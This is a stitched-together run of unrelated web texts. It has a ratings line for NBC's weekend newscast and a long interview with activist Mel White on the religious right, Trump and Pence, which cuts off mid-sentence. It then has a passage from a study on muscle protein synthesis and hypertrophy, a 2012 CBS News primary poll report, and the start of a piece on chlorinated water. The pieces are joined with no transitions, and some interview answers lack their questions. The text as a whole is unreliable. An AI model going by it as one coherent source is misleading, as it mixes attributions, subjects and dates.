Season-to-date, “NBC Nightly News” is the #1 evening newscast on Sunday nights in both total viewers and the A25-54 demo. Jamie Kraft is the executive producer of weekend editions of “NBC Nightly News.”Editor’s note: Ryan Kohls, the interviewer and founder of What I Wanna Know, is a producer for “UpFront,” a current affairs program on Al Jazeera English.
Millions of Americans had visceral reactions to Donald Trump winning the Presidency. But for Mel White and his husband, Gary Nixon, it affected them differently than most.
“My husband had a stroke in his right eye when it was announced he was going to be President. That’s how we feel in this family,” says White.
For Mel White and Gary Nixon, Trump’s election was more than just a political defeat, more than just disgust at an individual; it was the culmination of their worst fears. Donald Trump had been propelled to the presidency by Christian voters, that a faith they hold so dear had been given the credit for rallying millions of supporters. And, that the evangelical leaders that had praised Trump, and encouraged Christians to vote for him, were former friends and colleagues of theirs. And now they were much more powerful, and influential, than ever before.
Mel White, 77, is retired now but instead of finally relaxing and enjoying the freedom, he’s feeling dejected. He’s assessing the current political climate in the US, and the fruit of his own labor, and sees failure all around.
To understand White’s frustration in 2017, you have to go back and unpack his incredible life journey. Born in 1940, in Santa Clara, California, Mel White was reared in a conservative evangelical Christian home. As a young adult, he used his passions for storytelling and God to pursue a career in writing, filmmaking and teaching. His successes were abundant. In 1965, he launched his own production company, Mel White Productions, and over the course of twenty years made fifty-three documentaries and motion pictures. He also wrote twenty-one books, 9 of which were best-sellers. His films and writings spanned a number of genres: from spirituality, to incredible human survival and perseverance stories, to tales of war in Vietnam. While continuing his burgeoning writing and film career, White also completed a doctorate at Fuller Theological Seminary in Pasadena, California. He went on to teach communications and preaching at the school for more than a decade.
During this span of time, White was offered a series of writing gigs that would radically alter his future. With a solid reputation for storytelling and his Christian foundation, national publishers approached White to write ghost-autobiographies for prominent evangelical leaders. He accepted and throughout the 1980s was responsible for writing books for Billy Graham, Jerry Falwell, Pat Robertson, and several others. In the process, White acquired an intimate knowledge of the people, their ideas and their circle of friends.
Of these people, the one closest to White was Jerry Falwell. Falwell was a fiery, and wildly popular, Southern Baptist preacher from Lynchburg, Virginia. He established a huge audience with his “Old Time Gospel Hour”, a nationally syndicated radio and television ministry. In 1971, he founded a private Christian university called Liberty University. But perhaps Falwell’s most significant contribution was the creation of a group called “The Moral Majority”: a political lobbyist group that aimed to intertwine Christianity with the Republican Party platform. Through Falwell’s charisma and popularity, he swooned politicians and built a strong political support base. The group is considered to be a major contributor to Ronald Reagan’s election as President of the United States. The marriage of Christianity with the Republican Party may seem now like an ancient, inevitable, pairing but it really started in the 1970s with Falwell.
From the outside looking in, Mel White appeared to have it all: a successful career and a happy home with his wife Lyla and their two kids. But White had a painful secret, one he had spent three decades trying to eliminate: he was gay. And as a gay man, especially a Christian gay man, he believed he was living in sin and there must be a way to exorcise this abomination. Eventually, after a 30-year harrowing struggle, which included counseling, prayer, fasting, attempted exorcisms, and even electroshock therapy, White came to peace with this, amicably separated from his wife and started a new life as an out gay Christian.
But now that White had come to terms with himself, and embraced his homosexuality, he was dead set on changing other people’s minds as well. The primary target? The religious right; his former colleagues and friends, who had pushed an anti-gay agenda on the United States. Remember that White used to work for people like Jerry Falwell and Pat Robertson who initially blamed 9/11 on gays, lesbians and doctors who performed abortions. Their anti-gay rhetoric, he believed, had been responsible for his own pain, but also the pain, suffering and cause of suicides for many, many young Christian men and women.
White came out in 1991. And in 1994, he wrote his best-selling autobiography, “Stranger At The Gate: To Be Gay and Christian in America.” And so for the past 24 years, White has dedicated his life to this mission. He started an activist organization called “SoulForce” which is designed to “challenge the Religious Right through relentless nonviolent resistance in order to end the political and religious oppression of LGBTQI people.” He’s also written numerous other books explaining and exposing the doctrine of the religious right—those he would label Christian fundamentalists—and books that unpack his belief that homosexuality is a gift from God.
For his efforts, White was awarded ACLU’s National Civil Liberties Award for “his efforts to apply the ‘soul force’ principles of relentless nonviolent resistance to the struggle for justice for sexual minorities.” He’s also been arrested protesting and trying to get an appointment with Pat Robertson to explain his damaging rhetoric towards gay people. He spent 22 days in jail for his efforts.
There is no triumph in Mel White’s heart today, however. With Trump in the White House many of the leading right-wing Christian leaders that White believes have done tremendous damage for gay people, and distort the good news he cherishes in the Bible, are now either in the White House or close to the President. And it’s particularly distressing because many are either the same people, or their offspring, that White has been fighting to expose. They include: Pat Robertson, Jerry Falwell Jr. (son of Jerry Falwell, and close friend and supporter of Trump), Betsy DeVos, and Franklin Graham (son of Billy Graham, who White wrote for).
There is much I WANNA KNOW from Mel White. I spoke with him via Skype from his home in Los Angeles.
In this candid interview we discuss: Fundamentalism in American Christianity, the forefathers of the religious right (Jerry Falwell, Pat Robertson, Billy Graham), his fears of Vice President Mike Pence and President Donald Trump, gay conversion therapy, and much much more.
* * *
When my son and I were on the Amazing Race the second time Newsweek did an article on us. They asked my son, “Since you have a pastor as a father, do you consider yourself a Christian?” He said, “No, I don’t”. So they came to me and said your son doesn’t consider himself a Christian, do you? And I said, “No I don’t”. Michael’s smart enough to know that Christian is defined by every generation in a new way and he’s rejecting the current description of what Christianity is. So, I kind of use: I am a mediocre follower of a first century Jewish carpenter and hope that people understand what I’m saying.
It’s a fascinating time to be speaking with you. You were there from the very origins of the religious right, the moral majority’s rise to prominence. You played a big role, through your writings/partnerships with the biggest figures in the movement. But, of course, now your life’s work has really been to speak out against this movement and this ideology. Do you see yourself as being a central figure in developing this movement?
There is an irony in that Simon Shuster and 60 Minutes love to say I was a fundamentalist leader who came out against his colleagues in the movement. In fact, I grew up in an evangelical church. My dad was the mayor. I went to church every Sunday. I never heard of fundamentalism. I never heard of the rapture, or of inerrancy. I understand what you’re saying, but for me evangelical has been a good word until the last few years when it’s taken on the brand of an alt-right society. So I have to reject the word now completely. I don’t want anybody to relate me to the evangelical world because it’s gone crazy. And in its craziness it’s doing huge damage to this country, terrible damage.
Who are the religious right, the radical right? How would you define them as a group today?
I’ve always thought of them as fundamentalists, rather than being Christian at all. Fundamentalism, you know, militant piety. Someone called it Orthodoxy gone cultic. Fundamentalism in Christianity is the same kind of fundamentalism in Islam. And I think it’s as dangerous, if not more dangerous to this country. When the Bible is seen as inerrant, it’s held up as an idol and anything that threatens the Bible, or their understanding of the Bible, threatens their faith. So the truth, discussion about the history of the word and of the 66 books and how they were inspired, none of that works anymore. They just say, the Bible, if it was good enough for Jesus it’s good enough for me. And I’m telling you, I gave up discussing the Bible with these people, for example on homosexuality, because they are not interested. Fundamentalists are not interested in hearing what anyone else has to say.
And so, if you’re in a world where no one is interested in hearing what you have to say, why would you keep talking to them? I’ve turned down so many interviews because I just don’t want to be harassed again by people who don’t listen. I believe that I know Jesus as well as I ever did maybe better because of the pressure we’ve been under lately. I feel like I walk with Jesus everyday. I talk with Jesus when I’m walking on the beach. I imagine him. And prayer is a lot of imagination. But then I hear these guys talking about Jesus and I say I don’t want anything to do with that Jesus. Your Jesus is an idol and I reject him entirely.
Hermeneutically sealed. That’s kind of a nice expression. I never heard it quite like that before. The Bible to me is an amazing book of stories. And those stories inform our lives. When I read the Jewish testament, there are a lot more biographies and autobiographies in the Jewish than in the Christian testaments. The stories of Esther, for example, how could you not be informed by that? When she has to face and speak to power and risk her life doing it. All of these stories, they come down to immediate application. The Christian stories too—whether it’s Saul, who is realizing he’s doing the wrong thing and has to turn around. For me it’s the greatest story book ever written and if you just listen to the stories, listen to the spirit of God, as she speaks through those stories then you can have a great time in the Bible. But when you take it inerrantly, you forget that in the Jewish testament there were 626 commands that they keep, and by keeping those rules they were people of faith. Jesus came with a new covenant and said it’s not keeping rules that gets you in, it’s keeping the faith. And the faith is in loving God and loving your neighbor. And so I see these fundamentalists, who call themselves Christian, rejecting entirely the notion that Jesus said love your enemies, do good to them who hate you, pray for those who persecute you. My God, they are so far off that now they can’t even say they read the Bible, let alone act upon its truths. It’s so frustrating to me.
When you look at the conservative Christian ties with politics. There seems to be an incredibly strong alliance today. We saw a direct correlation between evangelicals and their support for Donald Trump and him being elected President. What was it like for you to watch not only Trump win the Presidency but do so through the support of Christians?
Go back a little on this one. It’s a great question. You know when fundamentalism took hold in this great country of ours in the late 70s, it was Francis Schaeffer talking to Jerry Falwell and Jerry said I need to win the world to Christ, but I can’t do it with all the Christians we have, we need more. So Francis Schaeffer said, the Bible shows we can use pagans to do God’s will. Why don’t you use pagans? And that’s when they invented the term co-belligerents. Find issues that they are co-belligerent with, so the Catholics will come on board against abortion, so the Fundamentalists will come on board with you against homosexuality. So Falwell picked all these issues that had nothing to do with Christian truth in the Bible. They had to do with issues that were deep down beneath the world of fundamentalism. So when I watched Trump get elected it was to me the ultimate proof that co-belligerency works, that the evangelicals had taken hand in hand, the most godless, racist, misogynist, homophobic, anti-feminist people. The alt-right that they are in bed with is just totally showing how they’ve let co-belligerency become their religion and forgot in the process who Jesus was.
My husband had a stroke in his right eye when it was announced he was going to be President. That’s how we feel in this family. And our blood pressure is regulated by drugs and it was perfectly calm and his eye went boom. We are so stunned by this, and so embarrassed that Christians have been given the credit for electing him and he keeps calling out who is Christian and who isn’t.
I have two pictures on my desk right now. One of Jerry and one of Jerry Jr. with Trump and I say to myself, “Jerry isn’t dead, he’s alive and well and doing everything he dreamed of through his son.” He could hardly get into the Reagan convention, remember after all the help he gave, but his son is being asked to be the Secretary of Education or an advisor. This is what Jerry dreamed of that we could get our fundamentalist forces inside an administration and then live out the realities as we see it. It’s crushing.
I was in those homes when those kids were running around in diapers, those kids that are now leading us. Betsy DeVos I’ve travelled with all over the place, with her and her husband. I know these people who are in power. When I think about those people in power, and I think if Jerry is alive and listening, he is having hysterics, and saying we started this and in those few short years we’ve literally taken over the country through this crazy Trump. Trump has no idea he’s being co-beligerized. He doesn’t know his position at all. He’s just lucking it up that they’re voting for him. Why they’re voting for him, when he’s so unchristlike, no one’s going to explain that to me. Those people aren’t evangelical, they are racist and misogynist and all those other things, who have taken on the evangelical term, but they are not that. They don’t even know what that is. Evangelical means good news. And they are in our history the bearer of the worst news this country could hear. So evangelical? Good news? Don’t kid me.
I rode with her in her in father-in-law’s private 727 jet from Grand Rapids to Tokyo. You have a lot of time to chat. The only other passenger was Rich DeVos and her child. Fundamentalists are usually nice. I’ve never met a fundamentalist that I couldn’t like. And that’s one of the reasons people really dislike me sometimes, because I really liked Jerry Falwell. He was a lot of fun to be with. I don’t like Pat Robertson. Pat Robertson is messianic. Jerry was having a ball. When you’re around Betsy, she’s nice and she means well, but her children never rode in an airplane that wasn’t theirs until they were in their 20s. They have their own private airport. They are surrounded by luxury. They are surrounded by bubble. So her kids went through this whole process that she would like to see all kids go through. I don’t think she’s ever walked through the ghetto. She’s never really cared about the poor who need an education who can’t afford it. I think she’s a nice person who’s terribly deceived, self-deceived, arrogant and entitled. So I have to hate what she does, and hate what she stands for. But I know Betsy. She’s a nice, well-meaning person.
You wrote more than 20 years ago, in “Stranger At The Gate,” that “Leaders on the radical right do not believe in democracy but in theocracy. Our nation should not be ruled by the will of the people but by the will of God, as they understand him. … The leaders of the radical right do not believe in the separation of church and state.” Does this statement still hold true today? Is a theocracy really the end goal for them?
Yeah, it’s ironic because Trump is the one they elected. He couldn’t be a theocrat. He doesn’t even know what God is about. If they’d elected Jerry Jr., then we could have had a theocracy pretty quickly. But since Trump is working for them in so many ways, they are doing a theocracy by default. They’re saying, what we believe about God is against killing little embryos, so you don’t kill embryos, you don’t have the right to abortion. So that’s their God understanding, their theocratic understanding, being placed into law.
Look at the health thing, the health plan that they have in mind is so un-Godlike, but it enforces some of those things that the theocrats would like to have. Before long, there will be prayer we have to pray in school. So they get little things that are theocratic along the way. But we’re not a theocracy yet, we’re a blundering, crazy nation without any kind of leadership. We have no political guidance from history. We’re just blundering along. And so, I said what I said 20 years ago, I believe it exactly the same way, that they want to have God as they understand him be law. Not the constitution.
They believe what they are trying to do for America, and they would never in 100 years call it a theocracy. They would call it a democracy and I would call it democracy run amok. Falwell never talked about a theocracy, and Schaeffer never talked about a theocracy. These guys didn’t talk about theocracy. They just wanted what they understand in the Bible to become law. And that’s theocracy.
If you believe in the Bible, you would think it might be good to find a way to take these truths and apply them. But I suppose it just comes down to a difference in interpretation between you and them?
When I was going around the country talking about homosexuality in the Bible, I had to use bulletproof vests, I had to be let in through crowds in underground passages, because they were being so hostile because I wasn’t believing in Leviticus 20. One day my husband said to me, “Mel you ought to say, leave your Bibles and your guns at the door, they are both as dangerous.” And at this point, that they like the Bible scares me. Stay away from the Bible. You guys stay away from the Bible. You don’t know what it’s about. And you’re taking passages out to enforce your theocratic notions that are so dangerous to this country and so undemocratic, but you don’t get it. They wouldn’t call it a theocracy, but they would call it a Bible-based culture. And when they talk about Bible based culture I run for the hills because I know us gay people are dead again.
You also said, which I find highly interesting and relevant, that “Their political worldview is dangerously un-American. Current leaders of the radical right are scrambling to rewrite American history. Our forefathers, Jefferson, Adams, even Ben Franklin, are being portrayed as zealous, Bible believing, evangelical Christians, committed to “traditional family values”. A lot of Christians totally buy into this. Why? And if it’s a myth, where did it come from?
As people read into the Bible, they read into biography. If they see once Ben Franklin said we have to have prayer in the Congress, they just don’t mention that it was voted down by the delegates, but they hold up that passage. One of the delegates to the Constitutional Convention said we ought to have prayer in these meetings. The group said no, we’re not going to have prayer, but they hold up that line and say see our forefathers wanted to have prayer at their meetings. It’s history again gone amok. It’s inerrant history, picking and choosing what you want from history and saying this is what history was. But it wasn’t history. Jefferson and his battles with the Baptists and trying like to mad to keep this country religion and the government separated, he worked so hard, and he’s written so many beautiful things about it. But they don’t get those old narratives that show what was the heart of the forming of this country, we will not let religion get in the way of this democracy. We will not let people put their religion on top of us, that’s why we’ve come here. But they don’t believe that, they see those same guys picking from their speeches. They say Jefferson was one of the first evangelicals. And Ben Franklin was a wise and virtuous person. Hello.
It seems pretty clear that Trump’s pick of Mike Pence as VP was a big boost for his Christian support. I saw many people sharing his video addressing the Christian community, telling them he was a man of God and that Trump was a man of God. Does Mike Pence concern you as VP when it comes to his conservative Christian agenda for the United States?
You know, I dislike Trump hugely. But if he is impeached, and we get Pence, then we get a man who knows what a theocracy is and is willing to bet his life on it. Pence is a theocrat, working in guise as a democrat. For me, Pence has said so many evil things, but he understands what he’s saying. Trump says evil things without even knowing what he’s saying. He’s not nearly as dangerous as Pence would be if Pence had power. But right now Pence is exercising his power through Trump.
Would you label Mike Pence a Christian fundamentalist?
Pence is the modern illustration of what a fundamentalist is. If you look at what he says, he’s taking all these passages to do all these quote “family values” and he’s tried to legislate them in his state, as he’s going to try to legislate them here. No, I’m afraid of Pence even more than I am of Trump, except Trump is doing so much damage while I’m waiting for Pence.
On election night, everything changed for me. If Hillary, or any of the Democrats, had been elected, we would be reinforcing the days that Obama brought in for us, I think. But they weren’t elected. And now we have this crazy man who doesn’t know the truth from a lie. So when you say where are we on culture? Culture took a huge U-turn on election night and started back to its roots just as fast as it could, back toward fundamentalism, back toward conspiracies, back toward all these things which scare me. We don’t have a resistance movement going within the LGBT community. We’re still celebrating marriage equality. And already in so many states, they’re working to end the rights of gay couples and lesbian couples. For me, nothing has changed. I spent 30 years on the front lines of that battle, and now it’s all begun again. As though it had never been fought. I don’t think we’re headed toward that wonderful kind of state, the progressive state. No, I think we’re heading right back toward McCarthy.
There has been talk among Christians who oppose Trump about the need for a Bonhoeffer moment, referring to Dietrich Bonhoeffer, a German theologian who led a nonviolent resistance against Adolf Hitler. I know he’s one of your nonviolent role models for resistance. So is there a desperate need for a leader/leaders in the church to speak up and act in courageous ways? Are we seeing that in any meaningful way?
You know in Germany, there was not a Bonhoeffer moment. There were all kinds of people like Bonhoeffer, men and women alike, who were taking a stand against Hitler. He was a writer, so his wonderful reputation lasted, but we need Bonhoeffer’s all over this country to speak truth to power. I don’t think we can ask for ourselves to have a hero — a Martin Luther King, a Bonhoeffer – that will lead us. Bonhoeffer didn’t lead the people of Germany, he was hanged because the people of Germany hated him. So for me, our heroes are more likely to be hanged, than they are to be listened to. Now in North Carolina, we have Reverend Barber, that’s a hero to me. That man is standing up and saying exactly what needs to be said. And he’s saying it with courage. He is so eloquent at the same time.
I think we have a lot of Bonhoeffer’s who are writing now about things we need to listen to, but we don’t need heroics. We don’t need someone who can stand on the steps of the Lincoln Monument and say this is my dream. We need people in local school boards who are saying this is my dream. We need some Republicans in the Congress who will say |
were performed at the same time of day and joint angle and leg compression was controlled using a custom built foot frame.
The drink containing 30 g of milk-based protein was enriched to 6% of the protein phenylalanine content with free [ 13 C 6 ] phenylalanine tracer to minimize disruptions in isotopic steady state, which is an approach we have used numerous times before with good maintenance of isotopic steady-state [14], [15]. Biopsies were obtained with a Bergström needle modified for manual suction under local anaesthesia (2% xylocaine). Biopsy samples were blotted and freed of any visible fat and connective tissue, frozen in liquid nitrogen (within ∼20 s of being taken from the muscle) and stored at −80°C until further analysis.
On the trial day, participants reported to the lab after an overnight fast having refrained from any strenuous physical activity for at least 3 days. A 20-gauge plastic catheter was inserted into an antecubital vein and a baseline blood sample was obtained. Following the start of a primed constant infusion ofL-[ring- 13 C 6 ] phenylalanine (prime: 2 μmol kg −1 ; infusion: 0.05 μmol kg −1 min −1 ), participants rested for 3 h before a muscle biopsy was obtained to determine the resting (basal) rate of MPS. Subjects then completed the lower body exercise protocol described above and ingested a protein rich beverage (described above). They then rested in bed for the next 6 h while biopsies (vastus lateralis) were taken 1, 3 and 6 h after cessation of the exercise bout.
Participants underwent a magnetic resonance imagining (MRI) scan of their right thigh to determine muscle volume and a dual-energy x-ray absorptiometry (DXA) scan to assess whole body fat- and bone-free mass (lean mass). Subjects were then strength tested to determine their maximal isotonic strength, which is traditionally labelled as one repetition maximum (1RM) for all training exercises. At least 5 d following strength testing participants reported to the lab after a 10 h overnight fast for stable isotope infusion. Resting MPS was measured, subjects then completed four sets of 8 repetitions of leg press, leg extension, leg curl and calf press. They then ingested a protein rich beverage containing 30 g of milk protein, 25.9 g of carbohydrates and 3.4 g of fat (Musahi P30, Notting Hill, Australia). Muscle biopsies were then taken at 1, 3 and 6 hours post exercise to measure MPS. Subjects then completed 16 weeks of RT while ingesting the protein rich beverage immediately after their exercise session and with breakfast on non-training days, as previously described in [12] Briefly, participants trained four times weekly with two upper and two lower body workouts. Lower body exercises are described above in the acute exercise session. Upper body exercises consisted of chest press, shoulder press, seated row, lat pulldown, bicep curl and tricep extension. The program was progressive in linear manner moving from 3 sets of 12 repetitions to 4 sets of 6 repetitions. At the end of the training period, MRI, DXA scans, and strength testing were repeated.
All participants were informed of the purpose of the study, the experimental procedures involved and all the potential risks involved before obtaining written consent. The protocol and consent form were approved by the Research Ethics Board of Hamilton Health Sciences and McMaster University and complied with all ethical standards for research involving human participants set by the Declaration of Helsinki and by the Canadian Tri-Council statement on ethics in human research ( http://www.ethics.gc.ca/eng/policy-politique/initiatives/tcps2-eptc2/Default/ ).
The rate of MPS following resistance exercise was increased compared to rest and was significantly elevated between 1 and 3 h post exercise (P<0.005) and from 3 to 6 h post exercise (P = 0.034; Figure 4 ). There was no statistically significant difference between the 1–3 h and the 3–6 h rates (P = 0.159). The aggregate response over the entire post-exercise period (1–6 h) was 0.052±0.04%•h −1. There was no correlation between MPS in any of the time periods measured and the change in muscle volume as measured by MRI (data not shown). Figure 3A shows the correlation between MPS measured over the full post exercise infusion period and change in muscle volume (r = 0.01). This comparison is highlighted because it should best reflect the full MPS response after exercise and nutrition. Expressing MPS as a fold change from rest did not results in a correlation with changes in muscle volume over the 1–6 post exercise period (r = −.16, P>0.05). In addition, there was not a significant correlation between the change in fat- and bone-free (lean) mass and the aggregate response of myofibrillar protein synthesis measured over 1–6 h post exercise (r = 0.13).
A) The relationship between changes in muscle volume as measured by MRI and the Myofibrillar fractional synthetic rate (FSR) measured from 1 to 6 hours after an acute bout of resistance exercise and nutrition before the start of the resistance training period (r = 0.10, P = 0.67). B) The relationship between changes in muscle volume as measured by MRI and 4E-BP1 phosphorylation at Thr37/46 measured 1 hour after an acute bout of resistance exercise and nutrition before the start of the resistance training period (r = 0.42, P = 0.05).
Phosphorylation of mTOR Ser2448 was increased above rest at 1 and 3 h post exercise but had returned to baseline by 6 hours post exercise ( Figure 2A ). Phosphorylation of Akt Ser473 was increased above resting at 1 h post-exercise then returned to baseline by 3 hours post exercise ( Figure 2B ). Phosphorylation of 4E-BP1 Thr37/46 was not significantly increased at any time post-exercise (P = 0.142; Figure 2C ). Phosphorylation of rpS6 Ser240/244 was elevated above rest at 1,3 and 6 h post-exercise; however, at 6 h post exercise the phosphorylation was reduced compared to 1 and 3 h ( Figure 2D ). There was a significant correlation between the phosphorylation of 4E-BP1 phosphorylation at 1 h post exercise and the change in muscle volume (r = 0.42, P = 0.047, Figure 3B ). No correlations were evident between the phosphorylation any of the signalling proteins measured and changes in muscle volume or lean fat-and bone-free mass (data not shown).
Intracellular free- phenylalanine precursor enrichments were 0.046±0.003 at rest and 0.066±0.004 throughout the post exercise incorporation period. The slope of a linear regression lines fit through the intracellular enrichments was not significantly different from zero during the post-exercise period (P>0.05). Plasma enrichments at 60, 180 and 360 min were 0.070±0.002, 0.075±0.003 and 0.076±0.003, respectively. Linear regression analysis indicated that the slopes of the plasma enrichments were not significantly different from zero (P>0.05) and thus an isotopic plateau was achieved and that the use of the steady-state precursor product equation was appropriate.
Discussion
We examined the relationship between the acute fed-state exercise-induced rise in MPS and muscle hypertrophy in the same subject hypothesizing that these variables would be related. Interestingly, we observed no relationship between intra-individual measures of the acute response of MPS following subjects' first exposure to leg resistance exercise and nutrition (which we subsequently had subjects follow throughout their training protocol) and MRI-measured muscle volume or DXA-measured lean body mass. Our finding is actually in agreement with that reported by Mayhew et al. [13] who observed no significant relationship between mixed muscle FSR and hypertrophy in a group of 8 young and 7 older men in which FSR measured 24 h after the first bout of resistance training. It is important for the reader to note that the present study differed from the Mayhew et al. study in both the timing of the measurement and the feeding state of the subjects. In the present study subjects ingested a protein rich beverage immediately after the first and each subsequent training session whereas in the Mayhew et al study subjects were fasted during the FSR measurement and did not consume supplemental protein during training [13]. The protein rich beverage was ingested during training in order to maximize muscle hypertrophy [19] and reduce heterogeneity in the subjects' diet and was consumed during the measurement of acute FSR so the conditions would be as similar as possible to the training. Although it was not possible to fully control the subjects' diets during the training period previous work has shown that subjects in this type of study consume adequate protein and calories and variation in diet does not explain variation in post training hypertrophy [20]. Diet records collected on a subset of subjects in this study support the previous finding. Similarly differences in habitual activities outside of the study workouts could have impacted hypertrophy however, subjects participated in a maximum of two pre week of sporting activity outside of the study so it is unlikely this had a major impact.
In previous work, acute responses of MPS to differing nutrition [4], [6], contraction intensity [2], [7], and contraction volume [2], [7] were found to align with chronic training-mediated changes in hypertrophy in studies employing roughly equivalent nutritional and/or contractile conditions preformed but in different sets of subjects. The absence of a significant correlation between the acute early measure of MPS in the untrained state and chronic hypertrophy, in the present study, could be explained by a number of subject-specific changes in the MPS response in terms of: magnitude at times later during the training program, specificity of the protein fraction-specific (i.e., myofibrillar vs. non-myofibrillar MPS response), and/or duration of the response of MPS during the course of training, variations in net muscle protein balance due to differential responses in muscle proteolysis. Clearly, however, acute early measures of MPS are not proxy measures for hypertrophy or hypertrophic potential within the same individual.
Cross-sectional comparisons of trained with untrained persons show that increases in mixed muscle protein FSR were smaller in magnitude, as were increases in mixed muscle proteolysis, in response to resistance exercise [21]. Tang et al. showed that the mixed muscle protein FSR to a bout of resistance exercise with feeding, performed at the same relative intensity pre- and post-training, produced a slightly higher FSR immediately post exercise (90–270 min post exercise) in the trained state, however, the duration of the response was reduced [22]. In contrast, exercise at the same relative intensity resulted, when combined with feeding, results in a lower mixed muscle protein FSR after training when the same absolute intensity was utilized [23]. When examining myofibrillar as opposed to mixed muscle FSR, there were no differences in acute MPS between the trained and untrained conditions after exercise in the fasted state [24]. Taken together, resistance training appears to reduce the duration, but not the amplitude, of the myofibrillar protein synthetic response. Nonetheless, one conspicuous adaptation with resistance training is a ‘refining’ of the synthetic response to emphasize synthesis of myofibrillar proteins and reductions in both sarcoplasmic and mitochondrial protein synthesis in response to contraction [24], [25]. Further research to delineate if responses of MPS play a role in determining hypertrophy would obviously have to include a more protracted time course of the MPS response and look at whether those gaining more lean mass were able to sustain a greater duration of their MPS response during the RT period. It is possible that high and low responders to RT may have similar acute FSR responses to the first bout of exercise but may significantly diverge in terms of FSR response at a point in the training period. A difference in muscle satellite cell content and the degree of myonuclear addition have been shown to relate to the magnitude of RT-induced hypertrophy [9]. It is conceivable that the individual variation in the change in FSR throughout the training period could be related to the degree of myonuclear addition.
A possibility is that subjects gaining more muscle mass with resistance training had a greater suppression of proteolysis as it is net muscle protein balance (i.e., MPS minus MPB) that would, strictly speaking, determine gains in muscle mass. Work by Glynn and associates shows that there are increases in MPS and reductions MPB in response to a combination of feeding and resistance exercise, however, the magnitude of the changes in MPS is ∼4–5 fold greater than the change in MPB [26]. Similar differences in magnitude of the response of MPS relative to MPB have been seen with resistance exercise alone [27]. These data suggest that changes in MPS is the main locus of control and is far more responsive to nutritional and contractile stimuli in regulating, changes in muscle size than MPB. In addition, when measures of mixed muscle protein synthesis and breakdown have been made in the post-exercise period in the same subjects a reasonably good correlation exists between the two variables [21], [27] which does not point to a measurable divergence in regulation but rather a link between the two processes. However, we cannot rule out the possibility that changes in protein breakdown could regulate gains in lean mass with resistance training.
The Akt-mTORC-1 pathway is an important regulatory pathway for muscle hypertrophy and is considered necessary for protein synthesis [28]. Phosphorylation of proteins within this pathway such as P70S6K, rpS6 and 4E-BP1 may show stronger relationships with hypertrophy because they are downstream from mTOR in the signalling pathway that culminates in protein translation [13]. There are multiple reports of correlations between P70S6K and hypertrophy in the literature, however, these correlations tend to be weak [12], [13] or have a small sample size [1]. Our lab has shown that significant muscle hypertrophy is possible with RT even when there is phosphorylation of P70S6K one hour after the first exercise bout [2], we have also shown that in one study P70S6K phosphorylation six hours after the first exercise bout is weakly related to training mediated hypertrophy [12]. These findings indicate how fickle a single time point measurement can be and provide a justification for our initial hypothesis that dynamic measurement such as MPS would show a greater relationship with hypertrophy.
Previous work from our lab has shown a correlation between acute phosphorylation of 4E-BP1 and myofibrillar FSR after resistance exercise [7]. In the current study we did not, however, see a relationship between FSR and 4E-BP1 phosphorylation but did see a relationship between hypertrophy and 4E-BP1 phosphorylation. Eukaryotic initiation factor 2B epsilon is another member of the Akt-mTOR pathway and has been proposed to be a regulator or variability in human hypertrophy [29]. However, technical limitations did not allow for the measurement of acute phosphorylation status of this target and the small amount of human data available does not suggest a linear relationship between hypertrophy and changes in protein abundance [29]. In a large study with young and old subjects the phosphorylation of multiple proteins in the Akt-mTOR pathway were shown to be unrelated to resistance exercise-induced changes in lean body mass [3]. Because anabolic signaling is transient and measured at discreet time points, and the degree of phosphorylation may not reflect activity it is doubtful that phosphorylation of a single protein could explain a large proportion of the variance in muscle hypertrophy [3].
The results from this study indicate that acute measurements of MPS over 6 hours following exercise and nutrition are not predictive of muscle hypertrophy following 16 weeks of resistance training and supplement ingestion in the same subjects. It is possible that the measures of MPS at later time-points following acute exercise may demonstrate a correlative relationship with muscle hypertrophy. However, the magnitude and duration on the MPS response measured within the same individual appears to change with training [22], [24]. It is possible the some subjects may maintain a robust MPS response throughout the training period whereas some subjects may show a diminished MPS response after training. Because data from the present study does not show a relationship between acute measures of MPS and skeletal muscle hypertrophy, it is likely that changes in MPS with training are not uniform between subjects. A systems biology approach incorporating proteomics, genomic, or transcriptomics may be required prospectively to estimate hypertrophy or hypertrophic potential.Republican presidential candidate, former Massachusetts Gov. Mitt Romney greets supporters in Boston, March 6, 2012. Getty
CBS News Poll analysis by the CBS News Polling Unit: Sarah Dutton, Jennifer De Pinto, Fred Backus and Anthony Salvanto.
A new CBS News/New York Times poll shows Rick Santorum holding a very slight lead over Mitt Romney among Republican primary voters across the nation, but GOP voters increasingly expect Romney to eventually win the nomination.
In the survey conducted between March 7 and March 11, 34 percent of Republican primary voters said they support Santorum, compared to 30 percent for Romney. Santorum's lead falls within the poll's margin of error.
Complete coverage: Election 2012
Newt Gingrich was backed by 13 percent of those surveyed - a slight increase in support from the last CBS News poll conducted a month earlier, while Ron Paul received 8 percent, a slight decrease in support. The changes in support for Gingrich and Paul also fell within the margin of error.
CBS
Gingrich, Perry deny they seek joint ticket
Video: GOP race swings to the South
Santorum: Gingrich campaign soon "irrelevant"
The overall dynamics of the Republican nomination battle have changed little in the last month: voters who identify themselves as conservatives remain solidly behind Santorum while Romney receives more support from moderate Republican primary voters.
Evangelicals have been strong supporters of Santorum in many of the nominating contests held so far, and in this poll Santorum leads Romney by more than two to one among evangelicals.
Santorum also leads among supporters of the grassroots tea party movement by a wide margin. Gingrich and Romney are tied for second place among tea party members, each with about half as much support as Santorum.
Regardless of whom they say they'll vote for, however, an increasing number of Republican primary voters expect Romney will eventually become the party's choice to do general election battle with President Obama.
In January, 55 percent of the Republican primary voters polled by CBS News said they expected Romney to clinch the nomination. That number climbed significantly in this new poll to 73 percent.
About half of Republican primary voters nationwide say they could still change their minds about whom to support - but that percentage has dropped from 60 percent a month ago. While there is still room for change in the race, fluidity has decreased as more primary voters have become sure of their candidate choice.
This poll was conducted by telephone from March 7-11, 2012 among 1009 adults nationwide. 878 interviews were conducted with registered voters, including 301 with voters who said they plan to vote in a Republican primary. Phone numbers were dialed from samples of both standard land-line and cell phones. The error due to sampling for results based on the entire sample could be plus or minus three percentage points. The margin of error for the sample of registered voters could be plus or minus three points and six points for the sample of Republican primary voters. The error for subgroups may be higher. This poll release conforms to the Standards of Disclosure of the National Council on Public Polls.Jon J. Calomiris, Water Research Program Manager at the United States Air Force Research Laboratory, and Keith A. Christman, Director, Disinfection and Government Relations at the Chlorine Chemistry Council, collaborated on this answer.
While quenching your thirst with a glass of tap water, enjoying your morning shower or swimming in a pool, you most likely are, at one time or another, aware of the chlorine used to disinfect your municipal water. Although its distinctive aroma may be unpleasant to some, it is an indication that your water supply is being adequately treated to stave off harmful or deadly microorganisms.
